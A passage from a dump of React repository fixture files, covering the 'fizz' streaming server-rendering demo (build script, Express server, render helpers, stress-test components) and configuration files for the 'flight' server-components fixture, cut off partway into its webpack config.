    "content": "body {\n  font-family: system-ui, sans-serif;\n}\n\n* {\n  box-sizing: border-box;\n}\n\nnav {\n  padding: 20px;\n}\n\n.sidebar {\n  padding: 10px;\n  height: 500px;\n  float: left;\n  width: 30%;\n}\n\n.post {\n  padding: 20px;\n  float: left;\n  width: 60%;\n}\n\nh1, h2 {\n  padding: 0;\n}\n\nul, li {\n  margin: 0;\n}\n\n.post p {\n  font-size: larger;\n  font-family: Georgia, serif;\n}\n\n.comments {\n  margin-top: 40px;\n}\n\n.comment {\n  border: 2px solid #aaa;\n  border-radius: 4px;\n  padding: 20px;\n}\n\n/* https://codepen.io/mandelid/pen/vwKoe */\n.spinner {\n  display: inline-block;\n  transition: opacity linear 0.1s;\n  width: 20px;\n  height: 20px;\n  border: 3px solid rgba(80, 80, 80, 0.5);\n  border-radius: 50%;\n  border-top-color: #fff;\n  animation: spin 1s ease-in-out infinite;\n  opacity: 0;\n}\n.spinner--active {\n  opacity: 1;\n}\n\n@keyframes spin {\n  to {\n    transform: rotate(360deg);\n  }\n}\n@keyframes spin {\n  to {\n    transform: rotate(360deg);\n  }\n}"
  },
  {
    "path": "fixtures/fizz/scripts/build.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\n'use strict';\n\nconst path = require('path');\nconst rimraf = require('rimraf');\nconst webpack = require('webpack');\n\nconst isProduction = process.env.NODE_ENV === 'production';\nrimraf.sync(path.resolve(__dirname, '../build'));\nwebpack(\n  {\n    mode: isProduction ? 'production' : 'development',\n    devtool: isProduction ? 'source-map' : 'cheap-module-source-map',\n    entry: [path.resolve(__dirname, '../src/index.js')],\n    output: {\n      path: path.resolve(__dirname, '../build'),\n      filename: 'main.js',\n    },\n    module: {\n      rules: [\n        {\n          test: /\\.js$/,\n          use: 'babel-loader',\n          exclude: /node_modules/,\n        },\n      ],\n    },\n  },\n  (err, stats) => {\n    if (err) {\n      console.error(err.stack || err);\n      if (err.details) {\n        console.error(err.details);\n      }\n      process.exit(1);\n    }\n    const info = stats.toJson();\n    if (stats.hasErrors()) {\n      console.log('Finished running webpack with errors.');\n      info.errors.forEach(e => console.error(e));\n      process.exit(1);\n    } else {\n      console.log('Finished running webpack.');\n    }\n  }\n);\n"
  },
  {
    "path": "fixtures/fizz/server/delays.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\n// Tweak these to play with different kinds of latency.\n\n// How long the data fetches on the server.\nexports.API_DELAY = 2000;\n\n// How long the server waits for data before giving up.\nexports.ABORT_DELAY = 10000;\n\n// How long serving the JS bundles is delayed.\nexports.JS_BUNDLE_DELAY = 4000;\n"
  },
  {
    "path": "fixtures/fizz/server/render-to-buffer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nimport {Writable} from 'stream';\nimport * as React from 'react';\nimport {renderToPipeableStream} from 'react-dom/server';\nimport App from '../src/App';\nimport {ABORT_DELAY} from './delays';\n\n// In a real setup, you'd read it from webpack build stats.\nlet assets = {\n  'main.js': '/main.js',\n  'main.css': '/main.css',\n};\n\nfunction HtmlWritable(options) {\n  Writable.call(this, options);\n  this.chunks = [];\n  this.html = '';\n}\n\nHtmlWritable.prototype = Object.create(Writable.prototype);\nHtmlWritable.prototype.getHtml = function getHtml() {\n  return this.html;\n};\nHtmlWritable.prototype._write = function _write(chunk, encoding, callback) {\n  this.chunks.push(chunk);\n  callback();\n};\nHtmlWritable.prototype._final = function _final(callback) {\n  this.html = Buffer.concat(this.chunks).toString();\n  callback();\n};\n\nmodule.exports = function render(url, res) {\n  let writable = new HtmlWritable();\n  res.socket.on('error', error => {\n    console.error('Fatal', error);\n  });\n  let didError = false;\n  let didFinish = false;\n\n  writable.on('finish', () => {\n    // If something errored before we started streaming, we set the error code appropriately.\n    res.statusCode = didError ? 500 : 200;\n    res.setHeader('Content-type', 'text/html');\n    res.send(writable.getHtml());\n  });\n\n  const {pipe, abort} = renderToPipeableStream(<App assets={assets} />, {\n    bootstrapScripts: [assets['main.js']],\n    onAllReady() {\n      // Full completion.\n      // You can use this for SSG or crawlers.\n      didFinish = true;\n    },\n    onShellReady() {\n      // If something errored before we started streaming, we set the error code appropriately.\n      pipe(writable);\n    },\n    onShellError(x) {\n      // Something errored before we could complete the shell so we emit an alternative shell.\n      res.statusCode = 500;\n      res.send('<!doctype><p>Error</p>');\n    },\n    onError(x) {\n      didError = true;\n      console.error(x);\n    },\n  });\n  // Abandon and switch to client rendering if enough time passes.\n  // Try lowering this to see the client recover.\n  setTimeout(() => {\n    if (!didFinish) {\n      abort();\n    }\n  }, ABORT_DELAY);\n};\n"
  },
  {
    "path": "fixtures/fizz/server/render-to-stream.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nimport * as React from 'react';\nimport {renderToPipeableStream} from 'react-dom/server';\nimport App from '../src/App';\nimport {ABORT_DELAY} from './delays';\n\n// In a real setup, you'd read it from webpack build stats.\nlet assets = {\n  'main.js': '/main.js',\n  'main.css': '/main.css',\n};\n\nmodule.exports = function render(url, res) {\n  // The new wiring is a bit more involved.\n  res.socket.on('error', error => {\n    console.error('Fatal', error);\n  });\n  let didError = false;\n  let didFinish = false;\n  const {pipe, abort} = renderToPipeableStream(<App assets={assets} />, {\n    bootstrapScripts: [assets['main.js']],\n    onAllReady() {\n      // Full completion.\n      // You can use this for SSG or crawlers.\n      didFinish = true;\n    },\n    onShellReady() {\n      // If something errored before we started streaming, we set the error code appropriately.\n      res.statusCode = didError ? 500 : 200;\n      res.setHeader('Content-type', 'text/html');\n      setImmediate(() => pipe(res));\n    },\n    onShellError(x) {\n      // Something errored before we could complete the shell so we emit an alternative shell.\n      res.statusCode = 500;\n      res.send('<!doctype><p>Error</p>');\n    },\n    onError(x) {\n      didError = true;\n      console.error(x);\n    },\n  });\n  // Abandon and switch to client rendering if enough time passes.\n  // Try lowering this to see the client recover.\n  setTimeout(() => {\n    if (!didFinish) {\n      abort();\n    }\n  }, ABORT_DELAY);\n};\n"
  },
  {
    "path": "fixtures/fizz/server/render-to-string.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nimport * as React from 'react';\nimport {renderToString} from 'react-dom/server';\nimport App from '../src/App';\nimport {API_DELAY, ABORT_DELAY} from './delays';\nimport {performance} from 'perf_hooks';\n\n// In a real setup, you'd read it from webpack build stats.\nlet assets = {\n  'main.js': '/main.js',\n  'main.css': '/main.css',\n};\n\nlet textEncoder = new TextEncoder();\n\nmodule.exports = function render(url, res) {\n  let payload =\n    '<!DOCTYPE html>' +\n    renderToString(<App assets={assets} />) +\n    '<script src=\"/main.js\" async=\"\"></script>';\n  let arr = textEncoder.encode(payload);\n\n  let buf = Buffer.from(arr);\n  res.statusCode = 200;\n  res.setHeader('Content-type', 'text/html');\n  res.send(buf);\n};\n"
  },
  {
    "path": "fixtures/fizz/server/server.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\n'use strict';\n\nconst babelRegister = require('@babel/register');\nbabelRegister({\n  ignore: [/[\\\\\\/](build|server\\/server|node_modules)[\\\\\\/]/],\n  presets: [['react-app', {runtime: 'automatic'}]],\n  plugins: ['@babel/transform-modules-commonjs'],\n});\n\nconst express = require('express');\nconst compress = require('compression');\nconst {readFileSync} = require('fs');\nconst path = require('path');\nconst renderToString = require('./render-to-string');\nconst renderToStream = require('./render-to-stream');\nconst renderToBuffer = require('./render-to-buffer');\nconst {JS_BUNDLE_DELAY} = require('./delays');\n\nconst PORT = process.env.PORT || 4000;\nconst app = express();\n\napp.use(compress());\napp.get(\n  '/',\n  handleErrors(async function (req, res) {\n    await waitForWebpack();\n    renderToStream(req.url, res);\n  })\n);\napp.get(\n  '/string',\n  handleErrors(async function (req, res) {\n    await waitForWebpack();\n    renderToString(req.url, res);\n  })\n);\napp.get(\n  '/stream',\n  handleErrors(async function (req, res) {\n    await waitForWebpack();\n    renderToStream(req.url, res);\n  })\n);\napp.get(\n  '/buffer',\n  handleErrors(async function (req, res) {\n    await waitForWebpack();\n    renderToBuffer(req.url, res);\n  })\n);\napp.use(express.static('build'));\napp.use(express.static('public'));\n\napp\n  .listen(PORT, () => {\n    console.log(`Listening at ${PORT}...`);\n  })\n  .on('error', function (error) {\n    if (error.syscall !== 'listen') {\n      throw error;\n    }\n    const isPipe = portOrPipe => Number.isNaN(portOrPipe);\n    const bind = isPipe(PORT) ? 'Pipe ' + PORT : 'Port ' + PORT;\n    switch (error.code) {\n      case 'EACCES':\n        console.error(bind + ' requires elevated privileges');\n        process.exit(1);\n        break;\n      case 'EADDRINUSE':\n        console.error(bind + ' is already in use');\n        process.exit(1);\n        break;\n      default:\n        throw error;\n    }\n  });\n\nfunction handleErrors(fn) {\n  return async function (req, res, next) {\n    try {\n      return await fn(req, res);\n    } catch (x) {\n      next(x);\n    }\n  };\n}\n\nasync function waitForWebpack() {\n  while (true) {\n    try {\n      readFileSync(path.resolve(__dirname, '../build/main.js'));\n      return;\n    } catch (err) {\n      console.log(\n        'Could not find webpack build output. Will retry in a second...'\n      );\n      await new Promise(resolve => setTimeout(resolve, 1000));\n    }\n  }\n}\n"
  },
  {
    "path": "fixtures/fizz/src/App.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nimport Html from './Html';\nimport BigComponent from './BigComponent';\n\nexport default function App({assets, title}) {\n  const components = [];\n\n  for (let i = 0; i <= 250; i++) {\n    components.push(<BigComponent key={i} />);\n  }\n\n  return (\n    <Html assets={assets} title={title}>\n      <h1>{title}</h1>\n      {components}\n      <h1>all done</h1>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "fixtures/fizz/src/BigComponent.js",
    "content": "export default function BigComponent() {\n  return (\n    <article>\n      <section>\n        <h2>Description</h2>\n        <p>\n          This page has repeating sections purposefully to create very large\n          trees that stress the rendering and streaming capabilities of Fizz\n        </p>\n      </section>\n      <section>\n        <h2>Another Section</h2>\n        <p>this section has a list</p>\n        <ul>\n          <li>item one</li>\n          <li>item two</li>\n          <li>item three</li>\n          <li>item four</li>\n          <li>item five</li>\n        </ul>\n        <p>it isn't a very interesting list</p>\n      </section>\n      <section>\n        <h2>Smiley Section</h2>\n        <p>here is a list of smiley emojis</p>\n        <ol>\n          <li>😀</li>\n          <li>😃</li>\n          <li>😄</li>\n          <li>😁</li>\n          <li>😆</li>\n          <li>😅</li>\n          <li>😂</li>\n          <li>🤣</li>\n          <li>🥲</li>\n          <li>☺️</li>\n          <li>😊</li>\n          <li>😇</li>\n          <li>🙂</li>\n          <li>🙃</li>\n          <li>😉</li>\n          <li>😌</li>\n          <li>😍</li>\n          <li>🥰</li>\n          <li>😘</li>\n          <li>😗</li>\n          <li>😙</li>\n          <li>😚</li>\n          <li>😋</li>\n          <li>😛</li>\n          <li>😝</li>\n          <li>😜</li>\n          <li>🤪</li>\n          <li>🤨</li>\n          <li>🧐</li>\n          <li>🤓</li>\n          <li>😎</li>\n          <li>🥸</li>\n          <li>🤩</li>\n          <li>🥳</li>\n          <li>😏</li>\n          <li>😒</li>\n          <li>😞</li>\n          <li>😔</li>\n          <li>😟</li>\n          <li>😕</li>\n          <li>🙁</li>\n          <li>☹️</li>\n          <li>😣</li>\n          <li>😖</li>\n          <li>😫</li>\n          <li>😩</li>\n          <li>🥺</li>\n          <li>😢</li>\n          <li>😭</li>\n          <li>😤</li>\n          <li>😠</li>\n          <li>😡</li>\n          <li>🤬</li>\n          <li>🤯</li>\n          <li>😳</li>\n          <li>🥵</li>\n          <li>🥶</li>\n          <li>😱</li>\n          <li>😨</li>\n          <li>😰</li>\n          <li>😥</li>\n          <li>😓</li>\n          <li>🤗</li>\n          <li>🤔</li>\n          <li>🤭</li>\n          <li>🤫</li>\n          <li>🤥</li>\n          <li>😶</li>\n          <li>😐</li>\n          <li>😑</li>\n          <li>😬</li>\n          <li>🙄</li>\n          <li>😯</li>\n          <li>😦</li>\n          <li>😧</li>\n          <li>😮</li>\n          <li>😲</li>\n          <li>🥱</li>\n          <li>😴</li>\n          <li>🤤</li>\n          <li>😪</li>\n          <li>😵</li>\n          <li>🤐</li>\n          <li>🥴</li>\n          <li>🤢</li>\n          <li>🤮</li>\n          <li>🤧</li>\n          <li>😷</li>\n          <li>🤒</li>\n          <li>🤕</li>\n          <li>🤑</li>\n          <li>🤠</li>\n          <li>😈</li>\n          <li>👿</li>\n          <li>👹</li>\n          <li>👺</li>\n          <li>🤡</li>\n          <li>💩</li>\n          <li>👻</li>\n          <li>💀</li>\n          <li>☠️</li>\n          <li>👽</li>\n          <li>👾</li>\n          <li>🤖</li>\n          <li>🎃</li>\n          <li>😺</li>\n          <li>😸</li>\n          <li>😹</li>\n          <li>😻</li>\n          <li>😼</li>\n          <li>😽</li>\n          <li>🙀</li>\n          <li>😿</li>\n          <li>😾</li>\n        </ol>\n      </section>\n      <section>\n        <h2>Translation Section</h2>\n        <p>This is the final section you will see before the sections repeat</p>\n        <p>\n          English: This is a text block translated from English to another\n          language in Google Translate.\n        </p>\n        <p>\n          Korean: 이것은 Google 번역에서 영어에서 다른 언어로 번역된 텍스트\n          블록입니다.\n        </p>\n        <p>\n          Hindi: यह Google अनुवाद में अंग्रेज़ी से दूसरी भाषा में अनुवादित\n          टेक्स्ट ब्लॉक है।\n        </p>\n        <p>\n          Lithuanian: Tai teksto blokas, išverstas iš anglų kalbos į kitą\n          „Google“ vertėjo kalbą.\n        </p>\n        <div>\n          <div>\n            <div>\n              <div>\n                <div>\n                  <div>\n                    <span>\n                      we're deep in some nested divs here, not that you can tell\n                      visually\n                    </span>\n                  </div>\n                </div>\n              </div>\n            </div>\n          </div>\n        </div>\n      </section>\n    </article>\n  );\n}\n"
  },
  {
    "path": "fixtures/fizz/src/Html.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nexport default function Html({assets, children, title}) {\n  return (\n    <html lang=\"en\">\n      <head>\n        <meta charSet=\"utf-8\" />\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n        <link rel=\"shortcut icon\" href=\"favicon.ico\" />\n        <link rel=\"stylesheet\" href={assets['main.css']} />\n        <title>{title}</title>\n      </head>\n      <body>\n        <noscript\n          dangerouslySetInnerHTML={{\n            __html: `<b>Enable JavaScript to run this app.</b>`,\n          }}\n        />\n        {children}\n        <script\n          dangerouslySetInnerHTML={{\n            __html: `assetManifest = ${JSON.stringify(assets)};`,\n          }}\n        />\n      </body>\n    </html>\n  );\n}\n"
  },
  {
    "path": "fixtures/fizz/src/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nimport {hydrateRoot} from 'react-dom/client';\nimport App from './App';\n\nhydrateRoot(document, <App assets={window.assetManifest} />);\n"
  },
  {
    "path": "fixtures/fizz-ssr-browser/index.html",
    "content": "<!DOCTYPE html>\n<html style=\"width: 100%; height: 100%; overflow: hidden\">\n  <head>\n    <meta charset=\"utf-8\">\n    <title>Fizz Example</title>\n  </head>\n  <body>\n    <h1>Fizz Example</h1>\n    <div id=\"container\">\n      <p>\n        To install React, follow the instructions on\n        <a href=\"https://github.com/facebook/react/\">GitHub</a>.\n      </p>\n      <p>\n        If you can see this, React is <strong>not</strong> working right.\n        If you checked out the source from GitHub make sure to run <code>npm run build</code>.\n      </p>\n    </div>\n    <script type=\"module\">\n      import React from \"https://esm.sh/react@canary?dev\";\n      import ReactDOM from \"https://esm.sh/react-dom@canary?dev\";\n      import ReactDOMServer from \"https://esm.sh/react-dom@canary/server.browser?dev\";\n\n      window.React = React;\n      window.ReactDOM = ReactDOM;\n      window.ReactDOMServer = ReactDOMServer;\n    </script>\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.js\"></script>\n    <script type=\"text/babel\">\n      async function render() {\n        let controller = new AbortController();\n        let response;\n        try {\n          let stream = await ReactDOMServer.renderToReadableStream(\n            <html>\n              <body>Success</body>\n            </html>,\n            {\n              signal: controller.signal,\n            }\n          );\n          response = new Response(stream, {\n            headers: {'Content-Type': 'text/html'},\n          });\n        } catch (x) {\n          response = new Response('<!doctype><p>Error</p>', {\n            status: 500,\n            headers: {'Content-Type': 'text/html'},\n          });\n        }\n\n        let blob = await response.blob();\n        let url = URL.createObjectURL(blob);\n        let iframe = document.createElement('iframe');\n        iframe.src = url;\n        let container = document.getElementById('container');\n        container.innerHTML = '';\n        container.appendChild(iframe);\n      }\n      render();\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "fixtures/flight/.gitignore",
    "content": "# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n/.pnp\n.pnp.js\n\n# testing\n/coverage\n/playwright-report\n/test-results\n\n# production\n/build\n.eslintcache\n\n# misc\n.DS_Store\n.env.local\n.env.development.local\n.env.test.local\n.env.production.local\n\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n"
  },
  {
    "path": "fixtures/flight/.nvmrc",
    "content": "v20.19.0\n"
  },
  {
    "path": "fixtures/flight/__tests__/__e2e__/smoke.test.js",
    "content": "import {test, expect} from '@playwright/test';\n\ntest('smoke test', async ({page}) => {\n  const consoleErrors = [];\n  page.on('console', msg => {\n    const type = msg.type();\n    if (type === 'warn' || type === 'error') {\n      consoleErrors.push({type: type, text: msg.text()});\n    }\n  });\n  const pageErrors = [];\n  page.on('pageerror', error => {\n    pageErrors.push(error.stack);\n  });\n  await page.goto('/');\n  await expect(page.getByTestId('promise-as-a-child-test')).toHaveText(\n    'Promise as a child hydrates without errors: deferred text'\n  );\n  await expect(page.getByTestId('prerendered')).not.toBeAttached();\n\n  await expect(consoleErrors).toEqual([]);\n  await expect(pageErrors).toEqual([]);\n\n  await page.goto('/prerender');\n  await expect(page.getByTestId('prerendered')).toBeAttached();\n\n  await expect(consoleErrors).toEqual([]);\n  await expect(pageErrors).toEqual([]);\n});\n"
  },
  {
    "path": "fixtures/flight/config/env.js",
    "content": "'use strict';\n\nconst fs = require('fs');\nconst path = require('path');\nconst paths = require('./paths');\n\n// Make sure that including paths.js after env.js will read .env variables.\ndelete require.cache[require.resolve('./paths')];\n\nconst NODE_ENV = process.env.NODE_ENV;\nif (!NODE_ENV) {\n  throw new Error(\n    'The NODE_ENV environment variable is required but was not specified.'\n  );\n}\n\n// https://github.com/bkeepers/dotenv#what-other-env-files-can-i-use\nconst dotenvFiles = [\n  `${paths.dotenv}.${NODE_ENV}.local`,\n  // Don't include `.env.local` for `test` environment\n  // since normally you expect tests to produce the same\n  // results for everyone\n  NODE_ENV !== 'test' && `${paths.dotenv}.local`,\n  `${paths.dotenv}.${NODE_ENV}`,\n  paths.dotenv,\n].filter(Boolean);\n\n// Load environment variables from .env* files. Suppress warnings using silent\n// if this file is missing. dotenv will never modify any environment variables\n// that have already been set.  Variable expansion is supported in .env files.\n// https://github.com/motdotla/dotenv\n// https://github.com/motdotla/dotenv-expand\ndotenvFiles.forEach(dotenvFile => {\n  if (fs.existsSync(dotenvFile)) {\n    require('dotenv-expand')(\n      require('dotenv').config({\n        path: dotenvFile,\n      })\n    );\n  }\n});\n\n// We support resolving modules according to `NODE_PATH`.\n// This lets you use absolute paths in imports inside large monorepos:\n// https://github.com/facebook/create-react-app/issues/253.\n// It works similar to `NODE_PATH` in Node itself:\n// https://nodejs.org/api/modules.html#modules_loading_from_the_global_folders\n// Note that unlike in Node, only *relative* paths from `NODE_PATH` are honored.\n// Otherwise, we risk importing Node.js core modules into an app instead of webpack shims.\n// https://github.com/facebook/create-react-app/issues/1023#issuecomment-265344421\n// We also resolve them to make sure all tools using them work consistently.\nconst appDirectory = fs.realpathSync(process.cwd());\nprocess.env.NODE_PATH = (process.env.NODE_PATH || '')\n  .split(path.delimiter)\n  .filter(folder => folder && !path.isAbsolute(folder))\n  .map(folder => path.resolve(appDirectory, folder))\n  .join(path.delimiter);\n\n// Grab NODE_ENV and REACT_APP_* environment variables and prepare them to be\n// injected into the application via DefinePlugin in webpack configuration.\nconst REACT_APP = /^REACT_APP_/i;\n\nfunction getClientEnvironment(publicUrl) {\n  const raw = Object.keys(process.env)\n    .filter(key => REACT_APP.test(key))\n    .reduce(\n      (env, key) => {\n        env[key] = process.env[key];\n        return env;\n      },\n      {\n        // Useful for determining whether we’re running in production mode.\n        // Most importantly, it switches React into the correct mode.\n        NODE_ENV: process.env.NODE_ENV || 'development',\n        // Useful for resolving the correct path to static assets in `public`.\n        // For example, <img src={process.env.PUBLIC_URL + '/img/logo.png'} />.\n        // This should only be used as an escape hatch. Normally you would put\n        // images into the `src` and `import` them in code to get their paths.\n        PUBLIC_URL: publicUrl,\n        // We support configuring the sockjs pathname during development.\n        // These settings let a developer run multiple simultaneous projects.\n        // They are used as the connection `hostname`, `pathname` and `port`\n        // in webpackHotDevClient. They are used as the `sockHost`, `sockPath`\n        // and `sockPort` options in webpack-dev-server.\n        WDS_SOCKET_HOST: process.env.WDS_SOCKET_HOST,\n        WDS_SOCKET_PATH: process.env.WDS_SOCKET_PATH,\n        WDS_SOCKET_PORT: process.env.WDS_SOCKET_PORT,\n        // Whether or not react-refresh is enabled.\n        // It is defined here so it is available in the webpackHotDevClient.\n        FAST_REFRESH: process.env.FAST_REFRESH !== 'false',\n      }\n    );\n  // Stringify all values so we can feed into webpack DefinePlugin\n  const stringified = {\n    'process.env': Object.keys(raw).reduce((env, key) => {\n      env[key] = JSON.stringify(raw[key]);\n      return env;\n    }, {}),\n  };\n\n  return {raw, stringified};\n}\n\nmodule.exports = getClientEnvironment;\n"
  },
  {
    "path": "fixtures/flight/config/modules.js",
    "content": "'use strict';\n\nconst fs = require('fs');\nconst path = require('path');\nconst paths = require('./paths');\nconst chalk = require('chalk');\nconst resolve = require('resolve');\n\n/**\n * Get additional module paths based on the baseUrl of a compilerOptions object.\n *\n * @param {Object} options\n */\nfunction getAdditionalModulePaths(options = {}) {\n  const baseUrl = options.baseUrl;\n\n  if (!baseUrl) {\n    return '';\n  }\n\n  const baseUrlResolved = path.resolve(paths.appPath, baseUrl);\n\n  // We don't need to do anything if `baseUrl` is set to `node_modules`. This is\n  // the default behavior.\n  if (path.relative(paths.appNodeModules, baseUrlResolved) === '') {\n    return null;\n  }\n\n  // Allow the user set the `baseUrl` to `appSrc`.\n  if (path.relative(paths.appSrc, baseUrlResolved) === '') {\n    return [paths.appSrc];\n  }\n\n  // If the path is equal to the root directory we ignore it here.\n  // We don't want to allow importing from the root directly as source files are\n  // not transpiled outside of `src`. We do allow importing them with the\n  // absolute path (e.g. `src/Components/Button.js`) but we set that up with\n  // an alias.\n  if (path.relative(paths.appPath, baseUrlResolved) === '') {\n    return null;\n  }\n\n  // Otherwise, throw an error.\n  throw new Error(\n    chalk.red.bold(\n      \"Your project's `baseUrl` can only be set to `src` or `node_modules`.\" +\n        ' Create React App does not support other values at this time.'\n    )\n  );\n}\n\n/**\n * Get webpack aliases based on the baseUrl of a compilerOptions object.\n *\n * @param {*} options\n */\nfunction getWebpackAliases(options = {}) {\n  const baseUrl = options.baseUrl;\n\n  if (!baseUrl) {\n    return {};\n  }\n\n  const baseUrlResolved = path.resolve(paths.appPath, baseUrl);\n\n  if (path.relative(paths.appPath, baseUrlResolved) === '') {\n    return {\n      src: paths.appSrc,\n    };\n  }\n}\n\n/**\n * Get jest aliases based on the baseUrl of a compilerOptions object.\n *\n * @param {*} options\n */\nfunction getJestAliases(options = {}) {\n  const baseUrl = options.baseUrl;\n\n  if (!baseUrl) {\n    return {};\n  }\n\n  const baseUrlResolved = path.resolve(paths.appPath, baseUrl);\n\n  if (path.relative(paths.appPath, baseUrlResolved) === '') {\n    return {\n      '^src/(.*)$': '<rootDir>/src/$1',\n    };\n  }\n}\n\nfunction getModules() {\n  // Check if TypeScript is setup\n  const hasTsConfig = fs.existsSync(paths.appTsConfig);\n  const hasJsConfig = fs.existsSync(paths.appJsConfig);\n\n  if (hasTsConfig && hasJsConfig) {\n    throw new Error(\n      'You have both a tsconfig.json and a jsconfig.json. If you are using TypeScript please remove your jsconfig.json file.'\n    );\n  }\n\n  let config;\n\n  // If there's a tsconfig.json we assume it's a\n  // TypeScript project and set up the config\n  // based on tsconfig.json\n  if (hasTsConfig) {\n    const ts = require(\n      resolve.sync('typescript', {\n        basedir: paths.appNodeModules,\n      })\n    );\n    config = ts.readConfigFile(paths.appTsConfig, ts.sys.readFile).config;\n    // Otherwise we'll check if there is jsconfig.json\n    // for non TS projects.\n  } else if (hasJsConfig) {\n    config = require(paths.appJsConfig);\n  }\n\n  config = config || {};\n  const options = config.compilerOptions || {};\n\n  const additionalModulePaths = getAdditionalModulePaths(options);\n\n  return {\n    additionalModulePaths: additionalModulePaths,\n    webpackAliases: getWebpackAliases(options),\n    jestAliases: getJestAliases(options),\n    hasTsConfig,\n  };\n}\n\nmodule.exports = getModules();\n"
  },
  {
    "path": "fixtures/flight/config/package.json",
    "content": "{\n  \"type\": \"commonjs\"\n}\n"
  },
  {
    "path": "fixtures/flight/config/paths.js",
    "content": "'use strict';\n\nconst path = require('path');\nconst fs = require('fs');\nconst getPublicUrlOrPath = require('react-dev-utils/getPublicUrlOrPath');\n\n// Make sure any symlinks in the project folder are resolved:\n// https://github.com/facebook/create-react-app/issues/637\nconst appDirectory = fs.realpathSync(process.cwd());\nconst resolveApp = relativePath => path.resolve(appDirectory, relativePath);\n\n// We use `PUBLIC_URL` environment variable or \"homepage\" field to infer\n// \"public path\" at which the app is served.\n// webpack needs to know it to put the right <script> hrefs into HTML even in\n// single-page apps that may serve index.html for nested URLs like /todos/42.\n// We can't use a relative path in HTML because we don't want to load something\n// like /todos/42/static/js/bundle.7289d.js. We have to know the root.\nconst publicUrlOrPath = getPublicUrlOrPath(\n  process.env.NODE_ENV === 'development',\n  require(resolveApp('package.json')).homepage,\n  process.env.PUBLIC_URL\n);\n\nconst buildPath = process.env.BUILD_PATH || 'build';\n\nconst moduleFileExtensions = [\n  'web.mjs',\n  'mjs',\n  'web.js',\n  'js',\n  'web.ts',\n  'ts',\n  'web.tsx',\n  'tsx',\n  'json',\n  'web.jsx',\n  'jsx',\n];\n\n// Resolve file paths in the same order as webpack\nconst resolveModule = (resolveFn, filePath) => {\n  const extension = moduleFileExtensions.find(extension =>\n    fs.existsSync(resolveFn(`${filePath}.${extension}`))\n  );\n\n  if (extension) {\n    return resolveFn(`${filePath}.${extension}`);\n  }\n\n  return resolveFn(`${filePath}.js`);\n};\n\n// config after eject: we're in ./config/\nmodule.exports = {\n  dotenv: resolveApp('.env'),\n  appPath: resolveApp('.'),\n  appBuild: resolveApp(buildPath),\n  appPublic: resolveApp('public'),\n  appIndexJs: resolveModule(resolveApp, 'src/index'),\n  appPackageJson: resolveApp('package.json'),\n  appSrc: resolveApp('src'),\n  appTsConfig: resolveApp('tsconfig.json'),\n  appJsConfig: resolveApp('jsconfig.json'),\n  yarnLockFile: resolveApp('yarn.lock'),\n  testsSetup: resolveModule(resolveApp, 'src/setupTests'),\n  appNodeModules: resolveApp('node_modules'),\n  appWebpackCache: resolveApp('node_modules/.cache'),\n  appTsBuildInfoFile: resolveApp('node_modules/.cache/tsconfig.tsbuildinfo'),\n  swSrc: resolveModule(resolveApp, 'src/service-worker'),\n  publicUrlOrPath,\n};\n\nmodule.exports.moduleFileExtensions = moduleFileExtensions;\n"
  },
  {
    "path": "fixtures/flight/config/webpack.config.js",
    "content": "'use strict';\n\n// Fork Start\nconst ReactFlightWebpackPlugin = require('react-server-dom-webpack/plugin');\n// Fork End\n\nconst fs = require('fs');\nconst {createHash} = require('crypto');\nconst path = require('path');\nconst {pathToFileURL} = require('url');\nconst webpack = require('webpack');\nconst resolve = require('resolve');\nconst CaseSensitivePathsPlugin = require('case-sensitive-paths-webpack-plugin');\nconst TerserPlugin = require('terser-webpack-plugin');\nconst MiniCssExtractPlugin = require('mini-css-extract-plugin');\nconst CssMinimizerPlugin = require('css-minimizer-webpack-plugin');\nconst ModuleScopePlugin = require('react-dev-utils/ModuleScopePlugin');\nconst DevToolsIgnorePlugin = require('devtools-ignore-webpack-plugin');\nconst getCSSModuleLocalIdent = require('react-dev-utils/getCSSModuleLocalIdent');\nconst paths = require('./paths');\nconst modules = require('./modules');\nconst getClientEnvironment = require('./env');\nconst ModuleNotFoundPlugin = require('react-dev-utils/ModuleNotFoundPlugin');\nconst ForkTsCheckerWebpackPlugin =\n  process.env.TSC_COMPILE_ON_ERROR === 'true'\n    ? require('react-dev-utils/ForkTsCheckerWarningWebpackPlugin')\n    : require('react-dev-utils/ForkTsCheckerWebpackPlugin');\nconst ReactRefreshWebpackPlugin = require('@pmmmwh/react-refresh-webpack-plugin');\nconst {WebpackManifestPlugin} = require('webpack-manifest-plugin');\n\nfunction createEnvironmentHash(env) {\n  const hash = createHash('md5');\n  hash.update(JSON.stringify(env));\n\n  return hash.digest('hex');\n}\n\n// Source maps are resource heavy and can cause out of memory issue for large source files.\nconst 